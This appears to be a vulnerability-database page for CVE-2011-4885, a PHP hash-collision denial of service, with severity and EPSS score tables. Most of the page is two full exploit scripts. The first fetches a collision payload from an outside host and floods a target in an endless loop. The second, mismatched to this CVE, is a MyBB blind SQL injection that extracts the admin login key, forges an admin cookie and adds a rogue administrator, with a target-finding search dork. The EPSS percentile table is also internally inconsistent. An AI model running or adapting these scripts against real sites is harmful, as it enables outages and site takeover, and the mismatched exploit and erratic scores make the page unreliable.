Related Weaknesses 
            
                
                    
                    
                        CWE-ID Weakness Name 
                        Source 
                     
                     
                    
                                
                                    CWE-20 Improper Input Validation  
                 
            
         
            
                                
                                            Metrics 
            
                
                    
                    
                        Metrics 
                        Score 
                        Severity 
                        CVSS Vector 
                        Source 
                     
                     
                    
                    
                        V2 
                        5 
                        
                            AV:N/AC:L/Au:N/C:N/I:N/A:P                         
                        nvd@nist.gov 
                     
                 
            
         
            
                                
                                            EPSS 
            EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
            EPSS Score 
            The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
            
            
                
            
                Date EPSS V0 EPSS V1 EPSS V2 EPSS V3 EPSS V4 2022-02-06 – – 12.96% – – 2022-03-20 – – 12.57% – – 2022-04-03 – – 12.57% – – 2023-02-26 – – 12.57% – – 2023-03-12 – – – 93.04% – 2023-03-26 – – – 88.3% – 2023-07-30 – – – 87.47% – 2024-02-11 – – – 87.47% – 2024-06-02 – – – 87.47% – 2024-12-08 – – – 84.73% – 2025-03-02 – – – 81.27% – 2025-01-19 – – – 84.73% – 2025-03-09 – – – 81.27% – 2025-03-18 – – – – 89.47% 2025-04-12 – – – – 88.36% 2025-04-13 – – – – 89.47% 2025-04-15 – – – – 89.47% 2025-04-22 – – – – 89.47% 2025-05-01 – – – – 88.36% 2025-05-04 – – – – 89.47% 2025-06-01 – – – – 88.36% 2025-06-04 – – – – 89.47% 2025-07-01 – – – – 88.36% 2025-07-05 – – – – 89.47% 2025-07-07 – – – – 88.35% 2025-07-30 – – – – 88.78% 2025-08-01 – – – – 87.15% 2025-08-04 – – – – 88.78% 2025-08-14 – – – – 88.99% 2025-10-01 – – – – 87.47% 2025-10-04 – – – – 88.58% 2025-10-27 – – – – 88.99% 2025-10-28 – – – – 88.58% 2025-10-28 – – – – 88.58,% 
             
            EPSS Percentile 
            The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
            
            
            
                
            
                Date Percentile 2022-02-06 9% 2022-03-20 9% 2022-04-03 95% 2023-02-26 96% 2023-03-12 98% 2023-03-26 98% 2023-07-30 98% 2024-02-11 99% 2024-06-02 99% 2024-12-08 99% 2025-03-02 99% 2025-01-19 99% 2025-03-09 99% 2025-03-18 1% 2025-04-12 99% 2025-04-13 1% 2025-04-15 99% 2025-04-22 1% 2025-05-01 99% 2025-05-04 1% 2025-06-01 99% 2025-06-04 1% 2025-07-01 99% 2025-07-05 1% 2025-07-07 99% 2025-07-30 99% 2025-08-01 99% 2025-08-04 99% 2025-08-14 1% 2025-10-01 99% 2025-10-04 99% 2025-10-27 99% 2025-10-28 99% 2025-10-28 99% 
             
            
            
            
                                            Exploit information 
                Exploit Database EDB-ID : 18296  
                Publication date :  2011-12-31 23h00  +00:00 Author :  infodoxEDB Verified :  No
                
# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service
Exploit
 # Date: 1/1/12
 # Author: infodox
 # Software Link: php.net
 #
Version: 5.3.*
 # Tested on: Linux
 # CVE : CVE-2011-4885
Exploit
Download -- http://infodox.co.cc/Downloads/phpdos.txt
<?php
/*
PHP 5.3.* Hash Colission DoS Exploit by infodox
Original version by itz me (opensc.ws)
CVE-2011-4885
Mirrors List:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18296.txt (hashcollide.txt)
http://compsoc.nuigalway.ie/~infodox/hashcollide.txt
http://jrs-s.net/hashcollide.txt
http://www.infodox.co.cc/Downloads/hashcollide.txt
Changes:
Different mirror for hashcollide.txt
Now takes target as a command line argument
Status message printing
Twitter: @info_dox
Blog: blog.infodox.co.cc
Site: http://www.infodox.co.cc/
*/
$targ = $argv[1];
$x = file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this doesnt work replace with the mirrors_lst ones...
while(1) {
 echo "firing";
 $ch = curl_init("$targ");
 curl_setopt($ch, CURLOPT_POSTFIELDS, $x);
 curl_exec($ch);
 curl_close($ch);
 echo "[+] Voly Sent!";
}
?>
                
                Exploit Database EDB-ID : 2012  
                Publication date :  2006-07-14 22h00  +00:00 Author :  rgodEDB Verified :  Yes
                #!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n";
/*
works regardless of php.ini settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to MyBB\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix different from default (mybb_)\n";
echo "   -u[number]   specify a user id other than 1 (usually admin)\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "   -d:          disclose table prefix (reccomended)\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /MyBB/ -d\r\n";
echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n";
die;
}
/* software site: http://www.mybboard.com/
   vulnerable code in inc/functions.php near lines 1292-1320:
   ...
   function getip() {
	global $_SERVER;
	if($_SERVER['HTTP_X_FORWARDED_FOR'])
	{
		if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
		{
			while(list($key, $val) = each($addresses[0]))
			{
				if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
				{
					$ip = $val;
					break;
				}
			}
		}
	}
	if(!$ip)
	{
		if($_SERVER['HTTP_CLIENT_IP'])
		{
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		}
		else
		{
			$ip = $_SERVER['REMOTE_ADDR'];
		}
	}
	return $ip;
}
...
you can spoof your ip address through the CLIENT-IP http header...
as result you can inject sql statements in class_session.php at lines 36-68:
by calling the main index.php script
...
function init()
	{
		global $ipaddress, $db, $mybb, $noonline;
		//
		// Get our visitors IP
		//
		$this->ipaddress = $ipaddress = getip();
		//
		// User-agent
		//
		$this->useragent = $_SERVER['HTTP_USER_AGENT'];
		if(strlen($this->useragent) > 100)
		{
			$this->useragent = substr($this->useragent, 0, 100);
		}
		//
		// Attempt to find a session id in the cookies
		//
		if($_COOKIE['sid'])
		{
			$this->sid = addslashes($_COOKIE['sid']);
		}
		else
		{
			$this->sid = 0;
		}
		//
		// Attempt to load the session from the database
		//
		$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
...
injection is blind, but you can ask true-false questions to the database to
retrieve the admin loginkey.
Through that you can build an admin cookie and create a new admin user through
the admin/users.php script.
Also you can disclose table prefix.
--------------------------------------------------------------------------------
-*****************************************************************************-
*                                                                            *
* Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto    *
* grazie Grosso!                                                             *
*                                                                            *
-*****************************************************************************-
 */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$anumber = rand(1,99999);
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mybb_";
$user_id="1";//admin
$proxy="";
$dt=0;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
  $user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-d")
{
  $dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($dt)
{
$sql="'suntzuuuu/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html))
{
 $temp=explode("sessions",$html);
 $temp2=explode(" ",$temp[0]);
 $prefix=$temp2[count($temp2)-1];
 echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n";
}
else
{
echo "unable to disclose table prefix...\n";
}
sleep(1);
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(65,90));//A-Z letters
$chars=array_merge($chars,range(97,122));//a-f letters
$j=1;
$loginkey="";
while (!strstr($loginkey,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
  $j++;
}
$cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";
echo "admin cookie -> ".$cookie."\r\n";
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="action";
do_add
-----------------------------7d62702f250530
Content-Disposition: form-data; name="userusername";
suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="newpassword";
suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email";
suntzoi@suntzu.org
-----------------------------7d62702f250530
Content-Disposition: form-data; name="usergroup";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="additionalgroups[]";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="displaygroup";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="Add User";
  Add User
-----------------------------7d62702f250530--
';
$packet="POST ".$p."admin/users.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("The user has successfully been added",$html))
{
  echo "exploit succeeded... now login as admin\n";
  echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n";
}
else
{
  echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n";
}
?>
# milw0rm.com [2006-07-15]
                
                                            Products Mentioned 
Configuraton 0 Php>>Php >> Version  To (including) 5.3.8
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.0
Php>>Php >> Version 5.0.1
Php>>Php >> Version 5.0.2
Php>>Php >> Version 5.0.3
Php>>Php >> Version 5.0.4
Php>>Php >> Version 5.0.5
Php>>Php >> Version 5.1.1
Php>>Php >> Version 5.1.2
Php>>Php >> Version 5.1.3
Php>>Php >> Version 5.1.4
Php>>Php >> Version 5.1.5
Php>>Php >> Version 5.1.6
Php>>Php >> Version 5.2.0
Php>>Php >> Version 5.2.1
Php>>Php >> Version 5.2.2
Php>>Php >> Version 5.2.3
Php>>Php >> Version 5.2.4
Php>>Php >> Version 5.2.5
Php>>Php >> Version 5.2.6
Php>>Php >> Version 5.2.7
Php>>Php >> Version 5.2.8
Php>>Php >> Version 5.2.9
Php>>Php >> Version 5.2.10
Php>>Php >> Version 5.2.11
Php>>Php >> Version 5.2.12
Php>>Php >> Version 5.2.14
Php>>Php >> Version 5.2.15
Php>>Php >> Version 5.2.16
Php>>Php >> Version 5.2.17
Php>>Php >> Version 5.3.0
Php>>Php >> Version 5.3.1
Php>>Php >> Version 5.3.2
Php>>Php >> Version 5.3.3
Php>>Php >> Version 5.3.4
Php>>Php >> Version 5.3.5
Php>>Php >> Version 5.3.6
Php>>Php >> Version 5.3.7
            
                                References